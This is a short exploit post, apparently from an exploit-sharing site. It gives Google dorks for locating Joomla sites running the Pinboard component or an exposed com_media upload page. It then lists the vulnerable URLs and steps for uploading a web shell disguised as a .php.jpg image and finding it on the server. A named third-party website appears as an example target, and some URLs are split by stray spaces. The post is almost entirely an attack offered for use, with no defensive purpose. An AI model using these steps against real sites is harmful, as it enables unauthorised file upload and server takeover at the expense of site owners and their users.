Exploit Joomla Pinboard Romet File Upload

Google Dork: inurl:com_pinboard

Exploit: target.com/[path]/components/com_pinboard/popup/popup.php?option=showupload

target.com/[path]/index2.php?option=com_pinboard&Itemid=117&action=p opup%22&action=popup&task=uploadForm
-- click on the photo in Top Of Left
|
*--*upload your shell shell.php.jpg & Confirmer SVP
|
*--*Pwd Your Shell
|
*--*target.com/[path]/images/stories/pinboard/picture/[name your shell].php.jpg
-----------------------------------------------------------------------
Exploit 2
*--*Dork : allinurl:/index.php?option e_name jform_description asset=com_weblinks
--------------------------
Example: http://www.elitecreative.ca/index.php?option=com_media&view=images&tmpl=component&e_name=jform_description&asset=com_weblinks&author=
-------------------------------------------------------------------------------------------------------------------------------
http :/site/index.php?option=com_media&view=images&tmpl=compon ent&e_name=jform_description&asset=com_weblinks&au thor=

-----------------------------------------------
Upload shell
----------------------
Just Upload your Shell or txt or Image :)
Shell Directory : http://localhost/site/images/dyar.txt
Goood Luck :)
----------------------------